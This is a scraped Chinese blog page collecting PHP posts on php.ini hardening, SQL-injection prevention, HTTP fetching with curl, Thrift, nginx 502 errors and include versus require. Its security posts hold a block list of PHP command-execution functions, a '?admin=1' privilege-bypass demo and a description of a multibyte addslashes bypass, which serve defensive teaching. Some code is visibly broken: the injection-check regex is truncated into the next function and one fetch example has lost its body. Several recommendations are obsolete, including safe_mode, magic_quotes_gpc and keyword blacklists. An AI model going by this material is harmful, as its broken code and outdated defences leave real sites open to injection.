BlogJava-xiaomage234-随笔分类-php

PHP.INI安全配置

小马歌 — Thu, 17 Sep 2015 02:14:00 GMT

(1) 打开php的安全模式
　　php的安全模式是个非常重要的内嵌的安全机制，能够控制一些php中的函数，比如system()，
　　同时把很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件，比如/etc/passwd，
　　但是默认的php.ini是没有打开安全模式的，我们把它打开：
　　safe_mode = on
(2) 用户组安全
　　当safe_mode打开时，safe_mode_gid被关闭，那么php脚本能够对文件进行访问，而且相同
　　组的用户也能够对文件进行访问。
　　建议设置为：
　　safe_mode_gid = off
　　如果不进行设置，可能我们无法对我们服务器网站目录下的文件进行操作了，比如我们需要
　　对文件进行操作的时候。
(3) 安全模式下执行程序主目录
　　如果安全模式打开了，但是却是要执行某些程序的时候，可以指定要执行程序的主目录：
　　safe_mode_exec_dir = D:/usr/bin
　　一般情况下是不需要执行什么程序的，所以推荐不要执行系统程序目录，可以指向一个目录，
　　然后把需要执行的程序拷贝过去，比如：

　　safe_mode_exec_dir = D:/tmp/cmd

　　但是，我更推荐不要执行任何程序，那么就可以指向我们网页目录：

　　safe_mode_exec_dir = D:/usr/www

(4) 安全模式下包含文件

　　如果要在安全模式下包含某些公共文件，那么就修改一下选项：

　　safe_mode_include_dir = D:/usr/www/include/

　　其实一般php脚本中包含文件都是在程序自己已经写好了，这个可以根据具体需要设置。

(5) 控制php脚本能访问的目录

　　使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问
　　不应该访问的文件，一定程度上限制了phpshell的危害，我们一般可以设置为只能访问网站目录：

　　open_basedir = D:/usr/www

(6) 关闭危险函数

　　如果打开了安全模式，那么函数禁止是可以不需要的，但是我们为了安全还是考虑进去。比如，
　　我们觉得不希望执行包括system()等在那的能够执行命令的php函数，或者能够查看php信息的
　　phpinfo()等函数，那么我们就可以禁止它们：
disable_functions = system,passthru,exec,shell_exec,popen,phpinfo,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,show_source,get_cfg_var

　　如果你要禁止任何文件和目录的操作，那么可以关闭很多文件操作

　　disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, 　　rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown

　　以上只是列了部分不叫常用的文件处理函数，你也可以把上面执行命令函数和这个函数结合，
　　就能够抵制大部分的phpshell了。

(7) 关闭PHP版本信息在http头中的泄漏

　　我们为了防止黑客获取服务器中php版本的信息，可以关闭该信息斜路在http头中：

　　expose_php = Off

　　比如黑客在 telnet www.12345.com 80 的时候，那么将无法看到PHP的信息。

(8) 关闭注册全局变量

　　在PHP中提交的变量，包括使用POST或者GET提交的变量，都将自动注册为全局变量，能够直接访问，
　　这是对服务器非常不安全的，所以我们不能让它注册为全局变量，就把注册全局变量选项关闭：
　　register_globals = Off
　　当然，如果这样设置了，那么获取对应变量的时候就要采用合理方式，比如获取GET提交的变量var，
　　那么就要用$_GET['var']来进行获取，这个php程序员要注意。

(9) 打开magic_quotes_gpc来防止SQL注入

　　SQL注入是非常危险的问题，小则网站后台被入侵，重则整个服务器沦陷，

　　所以一定要小心。php.ini中有一个设置：

　　magic_quotes_gpc = Off

这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，
　　比如把 ' 转为 \'等，这对防止sql注射有重大作用。所以我们推荐设置为：
　　magic_quotes_gpc = On

(10) 错误信息控制

　　一般php在没有连接到数据库或者其他情况下会有提示错误，一般错误信息中会包含php脚本当
　　前的路径信息或者查询的SQL语句等信息，这类信息提供给黑客后，是不安全的，所以一般服务器建议禁止错误提示：

　　display_errors = Off

　　如果你却是是要显示错误信息，一定要设置显示错误的级别，比如只显示警告以上的信息：

　　error_reporting = E_WARNING & E_ERROR

　　当然，我还是建议关闭错误提示。

(11) 错误日志

　　建议在关闭display_errors后能够把错误信息记录下来，便于查找服务器运行的原因：

log_errors = On

　　同时也要设置错误日志存放的目录，建议根apache的日志存在一起：

　　error_log = D:/usr/local/apache2/logs/php_error.log

　　注意：给文件必须允许apache用户的和组具有写的权限。

小马歌 2015-09-17 10:14 发表评论

php中防止SQL注入的方法

小马歌 — Thu, 17 Sep 2015 02:09:00 GMT

【一、在服务器端配置】

安全，PHP代码编写是一方面，PHP的配置更是非常关键。

我们php手手工安装的，php的默认配置文件在 /usr/local/apache2/conf/php.ini，我们最主要就是要配置php.ini中的内容，让我们执行 php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击，一下我们慢慢探讨。我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini，如果你是采用其他方式安装，配置文件可能不在该目录。

(1) 打开php的安全模式

php的安全模式是个非常重要的内嵌的安全机制，能够控制一些php中的函数，比如system()，

同时把很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件，比如/etc/passwd，

但是默认的php.ini是没有打开安全模式的，我们把它打开：

safe_mode = on

(2) 用户组安全

当safe_mode打开时，safe_mode_gid被关闭，那么php脚本能够对文件进行访问，而且相同

组的用户也能够对文件进行访问。

建议设置为：

safe_mode_gid = off

如果不进行设置，可能我们无法对我们服务器网站目录下的文件进行操作了，比如我们需要

对文件进行操作的时候。

(3) 安全模式下执行程序主目录

如果安全模式打开了，但是却是要执行某些程序的时候，可以指定要执行程序的主目录：

safe_mode_exec_dir = D:/usr/bin

一般情况下是不需要执行什么程序的，所以推荐不要执行系统程序目录，可以指向一个目录，

然后把需要执行的程序拷贝过去，比如：

safe_mode_exec_dir = D:/tmp/cmd

但是，我更推荐不要执行任何程序，那么就可以指向我们网页目录：

safe_mode_exec_dir = D:/usr/www

(4) 安全模式下包含文件

如果要在安全模式下包含某些公共文件，那么就修改一下选项：

safe_mode_include_dir = D:/usr/www/include/

其实一般php脚本中包含文件都是在程序自己已经写好了，这个可以根据具体需要设置。

(5) 控制php脚本能访问的目录

使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问

不应该访问的文件，一定程度上限制了phpshell的危害，我们一般可以设置为只能访问网站目录：

open_basedir = D:/usr/www

(6) 关闭危险函数

如果打开了安全模式，那么函数禁止是可以不需要的，但是我们为了安全还是考虑进去。比如，

我们觉得不希望执行包括system()等在那的能够执行命令的php函数，或者能够查看php信息的

phpinfo()等函数，那么我们就可以禁止它们：

disable_functions = system,passthru,exec,shell_exec,popen,phpinfo

如果你要禁止任何文件和目录的操作，那么可以关闭很多文件操作

disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown

以上只是列了部分不叫常用的文件处理函数，你也可以把上面执行命令函数和这个函数结合，

就能够抵制大部分的phpshell了。

(7) 关闭PHP版本信息在http头中的泄漏

我们为了防止黑客获取服务器中php版本的信息，可以关闭该信息斜路在http头中：

expose_php = Off

比如黑客在 telnet www.12345.com 80 的时候，那么将无法看到PHP的信息。

(8) 关闭注册全局变量

在PHP中提交的变量，包括使用POST或者GET提交的变量，都将自动注册为全局变量，能够直接访问，

这是对服务器非常不安全的，所以我们不能让它注册为全局变量，就把注册全局变量选项关闭：

register_globals = Off

当然，如果这样设置了，那么获取对应变量的时候就要采用合理方式，比如获取GET提交的变量var，

那么就要用$_GET['var']来进行获取，这个php程序员要注意。

(9) 打开magic_quotes_gpc来防止SQL注入

SQL注入是非常危险的问题，小则网站后台被入侵，重则整个服务器沦陷，

所以一定要小心。php.ini中有一个设置：

magic_quotes_gpc = Off

这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，

比如把 ' 转为 \'等，这对防止sql注射有重大作用。所以我们推荐设置为：

magic_quotes_gpc = On

(10) 错误信息控制

一般php在没有连接到数据库或者其他情况下会有提示错误，一般错误信息中会包含php脚本当

前的路径信息或者查询的SQL语句等信息，这类信息提供给黑客后，是不安全的，所以一般服务器建议禁止错误提示：

display_errors = Off

如果你却是是要显示错误信息，一定要设置显示错误的级别，比如只显示警告以上的信息：

error_reporting = E_WARNING & E_ERROR

当然，我还是建议关闭错误提示。

(11) 错误日志

建议在关闭display_errors后能够把错误信息记录下来，便于查找服务器运行的原因：

log_errors = On

同时也要设置错误日志存放的目录，建议根apache的日志存在一起：

error_log = D:/usr/local/apache2/logs/php_error.log

注意：给文件必须允许apache用户的和组具有写的权限。

MYSQL的降权运行

新建立一个用户比如mysqlstart

net user mysqlstart fuckmicrosoft /add

net localgroup users mysqlstart /del

不属于任何组

如果MYSQL装在d:\mysql ，那么，给 mysqlstart 完全控制的权限

然后在系统服务中设置，MYSQL的服务属性，在登录属性当中，选择此用户 mysqlstart 然后输入密码，确定。

重新启动 MYSQL服务，然后MYSQL就运行在低权限下了。

如果是在windos平台下搭建的apache我们还需要注意一点，apache默认运行是system权限，

这很恐怖，这让人感觉很不爽.那我们就给apache降降权限吧。

net user apache fuckmicrosoft /add

net localgroup users apache /del

ok.我们建立了一个不属于任何组的用户apche。

我们打开计算机管理器，选服务，点apache服务的属性，我们选择log on，选择this account，我们填入上面所建立的账户和密码，

重启apache服务，ok，apache运行在低权限下了。

实际上我们还可以通过设置各个文件夹的权限，来让apache用户只能执行我们想让它能干的事情，给每一个目录建立一个单独能读写的用户。

这也是当前很多虚拟主机提供商的流行配置方法哦，不过这种方法用于防止这里就显的有点大材小用了。

【二、在PHP代码编写】

       虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入，还是建议大家加强中文防止SQL注入的检查。addslashes的问题在于黑客可以用0xbf27来代替单引号，而addslashes只是将0xbf27修改为0xbf5c27，成为一个有效的多字节字符，其中的0xbf5c仍会被看作是单引号，所以addslashes无法成功拦截。
       当然addslashes也不是毫无用处，它是用于单字节字符串的处理，多字节字符还是用mysql_real_escape_string吧。
       另外对于php手册中get_magic_quotes_gpc的举例：
if (!get_magic_quotes_gpc()) {
$lastname = addslashes($_POST[‘lastname’]);
} else {
$lastname = $_POST[‘lastname’];
}

最好对magic_quotes_gpc已经开放的情况下，还是对$_POST[’lastname’]进行检查一下。
再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别：
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ，两者的区别是：mysql_real_escape_string 考虑到连接的
当前字符集，而mysql_escape_string 不考虑。
总结一下：
* addslashes() 是强行加\；
* mysql_real_escape_string()  会判断字符集，但是对PHP版本有要求；
* mysql_escape_string不考虑连接的当前字符集。
-------------------------------------------------------------------------------------------------
在PHP编码的时候，如果考虑到一些比较基本的安全问题，首先一点：
1. 初始化你的变量
为什么这么说呢？我们看下面的代码：
PHP代码

    if ($admin)
    {
    echo '登陆成功！';
    include('admin.php');
    }
    else
    {
    echo '你不是管理员，无法进行管理！';
    }
    ?>
     好，我们看上面的代码好像是能正常运行，没有问题，那么加入我提交一个非法的参数过去呢，那么效果会如何呢？比如我们的这个页是http://daybook.diandian.com/login.php，那么我们提交：http://daybook.diandian.com/login.php?admin=1，呵呵，你想一些，我们是不是直接就是管理员了，直接进行管理。
     当然，可能我们不会犯这么简单错的错误，那么一些很隐秘的错误也可能导致这个问题，比如phpwind论坛有个漏洞，导致能够直接拿到管理员权限，就是因为有个$skin变量没有初始化，导致了后面一系列问题。那么我们如何避免上面的问题呢？首先，从php.ini入手，把php.ini里面的register_global =off，就是不是所有的注册变量为全局，那么就能避免了。但是，我们不是服务器管理员，只能从代码上改进了，那么我们如何改进上面的代码呢？我们改写如下：
PHP代码

    $admin = 0; // 初始化变量
    if ($_POST['admin_user'] && $_POST['admin_pass'])
    {
    // 判断提交的管理员用户名和密码是不是对的相应的处理代码
    // ...
    $admin = 1;
    }
    else
    {
    $admin = 0;
    }
    if ($admin)
    {
    echo '登陆成功！';
    include('admin.php');
    }
    else
    {
    echo '你不是管理员，无法进行管理！';
    }
    ?>
    那么这时候你再提交http://daybook.diandian.com/login.php?admin=1就不好使了，因为我们在一开始就把变量初始化为 $admin = 0 了，那么你就无法通过这个漏洞获取管理员权限。
2. 防止SQL Injection (sql注射)
    SQL 注射应该是目前程序危害最大的了，包括最早从asp到php，基本上都是国内这两年流行的技术，基本原理就是通过对提交变量的不过滤形成注入点然后使恶意用户能够提交一些sql查询语句，导致重要数据被窃取、数据丢失或者损坏，或者被入侵到后台管理。
    那么我们既然了解了基本的注射入侵的方式，那么我们如何去防范呢？这个就应该我们从代码去入手了。
   我们知道Web上提交数据有两种方式，一种是get、一种是post，那么很多常见的sql注射就是从get方式入手的，而且注射的语句里面一定是包含一些sql语句的，因为没有sql语句，那么如何进行，sql语句有四大句：select 、update、delete、insert，那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢？
于是我们使用正则就构建如下函数：
PHP代码

    function inject_check($sql_str)
    {
    return eregi('select|insert|update|delete|'|
    function verify_id($id=null)
    {
    if (!$id) { exit('没有提交参数！'); } // 是否为空判断
    elseif (inject_check($id)) { exit('提交的参数非法！'); } // 注射判断
    elseif (!is_numeric($id)) { exit('提交的参数非法！'); } // 数字判断
    $id = intval($id); // 整型化
    return $id;
    }
    ?>
     呵呵，那么我们就能够进行校验了，于是我们上面的程序代码就变成了下面的：
PHP代码

    if (inject_check($_GET['id']))
    {
    exit('你提交的数据非法，请检查后重新提交！');
    }
    else
    {
    $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数，对$id进行过滤
    echo '提交的数据合法，请继续！';
    }
    ?>
    好，问题到这里似乎都解决了，但是我们有没有考虑过post提交的数据，大批量的数据呢？
比如一些字符可能会对数据库造成危害，比如 ' _ ', ' %'，这些字符都有特殊意义，那么我们如果进行控制呢？还有一点，就是当我们的php.ini里面的magic_quotes_gpc = off的时候，那么提交的不符合数据库规则的数据都是不会自动在前面加' '的，那么我们要控制这些问题，于是构建如下函数：
PHP代码

    function str_check( $str )
    {
    if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开
    {
    $str = addslashes($str); // 进行过滤
    }
    $str = str_replace("_", "\_", $str); // 把 '_'过滤掉
    $str = str_replace("%", "\%", $str); // 把' % '过滤掉

    return $str;
    }
    ?>
    我们又一次的避免了服务器被沦陷的危险。
    最后，再考虑提交一些大批量数据的情况，比如发贴，或者写文章、新闻，我们需要一些函数来帮我们过滤和进行转换，再上面函数的基础上，我们构建如下函数：
PHP代码

    function post_check($post)
    {
    if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开
    {
    $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤
    }
    $post = str_replace("_", "\_", $post); // 把 '_'过滤掉
    $post = str_replace("%", "\%", $post); // 把' % '过滤掉
    $post = nl2br($post); // 回车转换
    $post= htmlspecialchars($post); // html标记转换
    return $post;
    }
    ?>
    呵呵，基本到这里，我们把一些情况都说了一遍，其实我觉得自己讲的东西还很少，至少我才只讲了两方面，再整个安全中是很少的内容了，考虑下一次讲更多，包括php安全配置，apache安全等等，让我们的安全正的是一个整体，作到最安全。
    最后在告诉你上面表达的：1. 初始化你的变量 2. 一定记得要过滤你的变量

小马歌 2015-09-17 10:09 发表评论

php读取网络文件 curl, fsockopen ,file_get_contents 几个方法的效率对比

小马歌 — Fri, 14 Feb 2014 08:44:00 GMT

curl效率及稳定原来可以远远超越file_get_contents

最近需要获取别人网站上的音乐数据。用了file_get_contents函数，但是总是会遇到获取失败的问题，尽管按照手册中的例子设置了超时，可多数时候不会奏效：

$config['context'] = stream_context_create(array(‘http’ => array(‘method’ => “GET”,
   ’timeout’ => 5//这个超时时间不稳定，经常不奏效
   )
  ));

这时候，看一下服务器的连接池，会发现一堆类似的错误，让我头疼万分：
file_get_contents(http://***): failed to open stream…

现在改用了curl库，写了一个函数替换：
function curl_file_get_contents($durl){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $durl);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  curl_setopt($ch, CURLOPT_USERAGENT, _USERAGENT_);
  curl_setopt($ch, CURLOPT_REFERER,_REFERER_);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $r = curl_exec($ch);
  curl_close($ch);
   return $r;
}

如此，除了真正的网络问题外，没再出现任何问题。
这是别人做过的关于curl和file_get_contents的测试：
file_get_contents抓取google.com需用秒数：

2.31319094

2.30374217
2.21512604
3.30553889
2.30124092

curl使用的时间：

0.68719101

0.64675593
0.64326
0.81983113
0.63956594

差距很大？呵呵，从我使用的经验来说，这两个工具不只是速度有差异，稳定性也相差很大。

建议对网络数据抓取稳定性要求比较高的朋友使用上面的 curl_file_get_contents函数，不但稳定速度快，还能假冒浏览器欺骗目标地址哦！

看到的其他文章收藏于此===============================

php fsockopen

方法1: 用file_get_contents 以get方式获取内容
$url='http://www.domain.com/';
$html = file_get_contents($url);
echo $html;
?>

方法2: 用fopen打开url, 以get方式获取内容
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while(!feof($fp)) {
$result .= fgets($fp, 1024);
}
echo "url body: $result";
fclose($fp);
?>

方法3：用file_get_contents函数,以post方式获取url
$data = array ('foo' => 'bar');
$data = http_build_query($data);

$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data
)
);

$context = stream_context_create($opts);
$html = file_get_contents('http://localhost/e/admin/test.html', false, $context);

echo $html;
?>

方法4：用fsockopen函数打开url，以get方式获取完整的数据，包括header和body

return false;
}
?>

方法5：用fsockopen函数打开url，以POST方式获取完整的数据，包括header和body

function HTTP_Post($URL,$data,$cookie, $referrer="")
{

// parsing the given URL
$URL_Info=parse_url($URL);

// Building referrer
if($referrer=="") // if not given use this script as referrer
$referrer="111";

// making string from $data
foreach($data as $key=>$value)
$values[]="$key=".urlencode($value);
$data_string=implode("&",$values);

// Find out which port is needed - if not given use standard (=80)
if(!isset($URL_Info["port"]))
$URL_Info["port"]=80;

// building POST-request:
$request.="POST ".$URL_Info["path"]." HTTP/1.1\n";
$request.="Host: ".$URL_Info["host"]."\n";
$request.="Referer: $referer\n";
$request.="Content-type: application/x-www-form-urlencoded\n";
$request.="Content-length: ".strlen($data_string)."\n";
$request.="Connection: close\n";

$request.="Cookie: $cookie\n";

$request.="\n";
$request.=$data_string."\n";

$fp = fsockopen($URL_Info["host"],$URL_Info["port"]);
fputs($fp, $request);
while(!feof($fp)) {
$result .= fgets($fp, 1024);
}
fclose($fp);

return $result;
}

方法6:使用curl库，使用curl库之前，可能需要查看一下php.ini是否已经打开了curl扩展

$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, 'http://www.domain.com/');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);

echo $file_contents;
?>

php中 curl， fsockopen ，file_get_contents 三个函数都可以实现采集模拟发言。三者有什么区别，或者讲究么

赵永斌:
有些时候用file_get_contents()调用外部文件,容易超时报错。换成curl后就可以.具体原因不清楚
curl 效率比file_get_contents()和fsockopen()高一些,原因是CURL会自动对DNS信息进行缓存(亮点啊有我待亲测)

范佳鹏:
file_get_contents curl fsockopen
在当前所请求环境下选择性操作，没有一概而论：
具我们公司开发KBI应用来看：
刚开始采用：file_get_contents
后来采用：fsockopen
最后到至今采用：curl

（远程）我个人理解到的表述如下（不对请指出，不到位请补充）
file_get_contents 需要php.ini里开启allow_url_fopen,请求http时，使用的是http_fopen_wrapper，不会keeplive.curl是可以的。
file_get_contents()单个执行效率高，返回没有头的信息。
这个是读取一般文件的时候并没有什么问题，但是在读取远程问题的时候就会出现问题。
如果是要打一个持续连接，多次请求多个页面。那么file_get_contents和fopen就会出问题。
取得的内容也可能会不对。所以做一些类似采集工作的时候，肯定就有问题了。
sock较底层，配置麻烦，不易操作。返回完整信息。

潘少宁-腾讯：
file_get_contents 虽然可以获得某URL的内容，但不能post get啊。
curl 则可以post和get啊。还可以获得head信息
而socket则更底层。可以设置基于UDP或是TCP协议去交互
file_get_contents 和 curl 能干的，socket都能干。
socket能干的，curl 就不一定能干了
file_get_contents 更多的时候只是去拉取数据。效率比较高也比较简单。
赵的情况这个我也遇到过，我通过CURL设置host 就OK了。这和网络环境有关系

小马歌 2014-02-14 16:44 发表评论

thrift rpc 使用常见问题解答和经验

小马歌 — Fri, 14 Feb 2014 08:42:00 GMT

原文：http://blog.rushcj.com/2010/08/21/try-thrift/

Thrift是一个非常棒的工具，是Facebook的开源项目，目前的开发非常的活跃，由Apache管理，所以用的是Apache Software License，这非常重要，因为可以放心的对其修改并用到自己的项目中。

谈到修改Thrift,这非常重要。因为我觉得如果要严肃的使用Thrift，不可避免的要深入了解它，并几乎都要修改Thrift的代码。一个通信框架，它不可能帮你做到所有的事情，也不可能在不了解的情况下就贸然的使用。

1.Thrift 的Java Server/Client有个较为严重的bug(https://issues.apache.org/jira/browse/THRIFT-601 )，随机向thrift sever的监听端口发些数据，可能会导致Server OutOfMemory，细细看看代码，这个bug有点土。

2.Thrift Client线程不安全，多线程下使用可能导致Server和客户端程序崩溃。Client的每次调用远程方法其实是有多次Socket写操作，因此每个线程中使用的Client要保证独立，如果多个线程混用同一个Client(其实是用同一个Socket)，可能会导致传输的字节顺序混乱，使得Server OutOfMemory(参考1）

3.Thrift定义数据结构时，尽量避免用map, 或者set。在cpp下, map被对应为std::map(rb tree)和std::set，thrift生成的类不会重载”<”，因此需要手动修改生成类，否则link没法通过。较为麻烦。

4.如果Client端基于效率考虑，要缓存Socket，需要重新实现其TTransport类，以支持 Socket缓存池。当然，这个实现其实跟thrift没多大关系，算是2次开发。但一般都要这么做的吧？

5.如果Client基于效率考虑，缓存了Socket，那么thrift Server端的模式选择就较为重要了。如果使用同步的TThreadPoolServer，那么无可避免的，客户端缓存1个Socket，Server端就会有一个线程一直处于Server状态，等待peek这个Socket上的数据。这个线程就不能用于其它请求了。所以，及时清理Client端的Socket及控制Socket池的大小是非常必要的。

6.听同事说CPP Thrift Server的Epoll NonBlocking模式有效率问题。其实，并发要求不高的Server用LT模式的EPoll其实很方便的，当然，这个要自己给Thrfit Server做patch了，不过也不麻烦。开发起来也是很方便的。我想给我们的Server加个EPOLLONESHOT的同步EPoll实现。

7.CPP下的 TThreadPoolServer和TThreadServer由一个有趣的问题，如果有客户端维护长连接，那么对这个Server实例做析构的时候会堵塞（前面说过了，在peek中…）。

8.用valgrind看，thrift cpp似乎有一些内存问题。没细看。

9.无论是Java，还是CPP，Server端都无法通过合法的方式获取Client的ip, port。可以通过编写ThriftServerEventHandler可以处理这件事情。如果想要获取Client ip, port的话，可以看看这个东西。

小马歌 2014-02-14 16:42 发表评论

Graphviz "gif/png" not recognized问题解决方案

小马歌 — Thu, 13 Feb 2014 05:25:00 GMT

使用Graphviz时候遇到这样一个问题

IOError: Renderer type: "gif" not recognized. Use one of: canon cmap cmapx dia dot fig hpgl imap ismap mif mp pcl pic plain plain-ext ps ps2 svg svgz vtx xdot

表现在无法生成gif或者png图像

应该是官方一个bug

解决方案：

安装 graphviz-gd

yum search graphviz-gd

========================= Matched: graphviz-gd =========================

graphviz-gd.x86_64 : Graphviz plugin for renderers based on gd

好了，装上这个东西就ok了

小马歌 2014-02-13 13:25 发表评论

nginx 502 Bad Gateway 错误解决办法

小马歌 — Wed, 12 Feb 2014 10:48:00 GMT

一些运行在Nginx上的网站有时候会出现“502 Bad Gateway”错误，有些时候甚至频繁的出现。以下是小编搜集整理的一些Nginx 502错误的排查方法，供参考：

　　Nginx 502错误的原因比较多，是因为在代理模式下后端服务器出现问题引起的。这些错误一般都不是nginx本身的问题，一定要从后端找原因！但nginx把这些出错都揽在自己身上了，着实让nginx的推广者备受置疑，毕竟从字眼上理解，bad gateway？不就是bad nginx吗？让不了解的人看到，会直接把责任推在nginx身上，希望nginx下一个版本会把出错提示写稍微友好一些，至少不会是现在简单的一句 502 Bad Gateway，另外还不忘附上自己的大名。

Nginx 502的触发条件

　　502错误最通常的出现情况就是后端主机当机。在upstream配置里有这么一项配置：proxy_next_upstream，这个配置指定了 nginx在从一个后端主机取数据遇到何种错误时会转到下一个后端主机，里头写上的就是会出现502的所有情况拉，默认是error timeout。error就是当机、断线之类的，timeout就是读取堵塞超时，比较容易理解。我一般是全写上的：

proxy_next_upstream error timeout invalid_header http_500 http_503;

　　不过现在可能我要去掉http_500这一项了，http_500指定后端返回500错误时会转一个主机，后端的jsp出错的话，本来会打印一堆 stacktrace的错误信息，现在被502取代了。但公司的程序员可不这么认为，他们认定是nginx出现了错误，我实在没空跟他们解释502的原理了……

503错误就可以保留，因为后端通常是apache resin，如果apache死机就是error，但resin死机，仅仅是503，所以还是有必要保留的。

解决办法

遇到502问题，可以优先考虑按照以下两个步骤去解决。

1、查看当前的PHP FastCGI进程数是否够用：

netstat -anpo | grep "php-cgi" | wc -l

如果实际使用的“FastCGI进程数”接近预设的“FastCGI进程数”，那么，说明“FastCGI进程数”不够用，需要增大。

2、部分PHP程序的执行时间超过了Nginx的等待时间，可以适当增加nginx.conf配置文件中FastCGI的timeout时间，例如：

http  {
  fastcgi_connect_timeout 300;
  fastcgi_send_timeout 300;
  fastcgi_read_timeout 300;
  ......
  }
  ......

　　php.ini中memory_limit设低了会出错，修改了php.ini的memory_limit为64M，重启nginx，发现好了，原来是PHP的内存不足了。

　　如果这样修改了还解决不了问题，可以参考下面这些方案：

一、max-children和max-requests

　　一台服务器上运行着nginx php(fpm) xcache，访问量日均 300W pv左右。

　　最近经常会出现这样的情况：php页面打开很慢，cpu使用率突然降至很低，系统负载突然升至很高，查看网卡的流量，也会发现突然降到了很低。这种情况只持续数秒钟就恢复了。

　　检查php-fpm的日志文件发现了一些线索。

Sep 30 08:32:23.289973 [NOTICE] fpm_unix_init_main(), line 271: getrlimit(nofile): max:51200, cur:51200  Sep 30 08:32:23.290212 [NOTICE] fpm_sockets_init_main(), line 371: using inherited socket fd=10, “127.0.0.1:9000″  Sep 30 08:32:23.290342 [NOTICE] fpm_event_init_main(), line 109: libevent: using epoll  Sep 30 08:32:23.296426 [NOTICE] fpm_init(), line 47: fpm is running, pid 30587

　　在这几句的前面，是1000多行的关闭children和开启children的日志。

　　原来，php-fpm有一个参数 max_requests，该参数指明了，每个children最多处理多少个请求后便会被关闭，默认的设置是500。因为php是把请求轮询给每个 children，在大流量下，每个childre到达max_requests所用的时间都差不多，这样就造成所有的children基本上在同一时间被关闭。

　　在这期间，nginx无法将php文件转交给php-fpm处理，所以cpu会降至很低(不用处理php，更不用执行sql)，而负载会升至很高(关闭和开启children、nginx等待php-fpm)，网卡流量也降至很低(nginx无法生成数据传输给客户端)

　　解决问题很简单，增加children的数量，并且将 max_requests 设置未 0 或者一个比较大的值：

　　打开 /usr/local/php/etc/php-fpm.conf调大以下两个参数(根据服务器实际情况，过大也不行）

5120  600

　　然后重启php-fpm。

二、增加缓冲区容量大小

　　将nginx的error log打开，发现“pstream sent too big header while reading response header from upstream”这样的错误提示。查阅了一下资料，大意是nginx缓冲区有一个bug造成的,我们网站的页面消耗占用缓冲区可能过大。参考老外写的修改办法增加了缓冲区容量大小设置，502问题彻底解决。后来系统管理员又对参数做了调整只保留了2个设置参数：client head buffer，fastcgi buffer size。

三、request_terminate_timeout

　　如果主要是在一些post或者数据库操作的时候出现502这种情况，而不是在静态页面操作中常见，那么可以查看一下php-fpm.conf设置中的一项：

request_terminate_timeout

这个值是max_execution_time，就是fast-cgi的执行脚本时间。

0s为关闭，就是无限执行下去。（当时装的时候没仔细看就改了一个数字）问题解决了，执行很长时间也不会出错了。优化fastcgi中，还可以改改这个值5s 看看效果。

php-cgi进程数不够用、php执行时间长、或者是php-cgi进程死掉，都会出现502错误。

小马歌 2014-02-12 18:48 发表评论

php中include和require的区别

小马歌 — Wed, 25 Dec 2013 12:53:00 GMT

转自：http://my.oschina.net/u/200745/blog/36662

1.引用文件方式

对include()来说，在include()执行时文件每次都要进行读取和评估；而对于require()来说，文件只处理一次（实际上，文件内容替换了require()语句）。这就意味着如果有包含这些指令之一的代码和可能执行多次的代码，则使用require()效率比较高。另一方面，如果每次执行代码时相读取不同的文件，或者有通过一组文件叠代的循环，就使用include(),因为可以给想要包括的文件名设置一个变量，当参数为include()时使用这个变量。

2.是否有条件引用

在PHP变成中，include()与require()的功能相同，但在用法上却有一些不同，include()是有条件包含函数，而require()则是无条件包含函数。例如在下面的一个例子中，如果变量$somgthing为真，则将包含文件somefile：
if($something){
include("somefile");
}
但不管$something取何值，下面的代码将把文件somefile包含进文件里：
if($something){
require("somefile");
}
下面的这个有趣的例子充分说明了这两个函数之间的不同。
$i = 1;
while ($i < 3) {
require("somefile.$i");
$i++;
}
在这段代码中，每一次循环的时候，程序都将把同一个文件包含进去。很显然这不是程序员的初衷，从代码中我们可以看出这段代码希望在每次循环时，将不同的文件包含进来。如果要完成这个功能，必须求助函数include()：
$i = 1;
while ($i < 3) {
include("somefile.$i");
$i++;
}

3.报错

用例子来说话，写两个php文件，名字为test1.php 和test2.php，注意相同的目录中，不要存在一个名字是test999.php的文件。
test.php
include (”test999.php”);
echo “abc”;
?>

test2.php
require (”test999.php”)
echo “abc”;
?>

浏览第一个文件，因为没有找到test999.php文件，我们看到了报错信息，同时，报错信息的下边显示了abc，你看到的可能是类似下边的情况：
Warning: include(test1aaa.php) [function.include]: failed to open stream: No such file or directory in D:\WebSite\test.php on line 2

Warning: include() [function.include]: Failed opening ‘test1aaa.php’ for inclusion (include_path=’.;C:\php5\pear’) in D:\WebSite\test.php on line 2
abc

浏览第二个文件，因为没有找到test999.php文件，我们看到了报错信息，但是，报错信息的下边没有显示abc，你看到的可能是类似下边的情况：
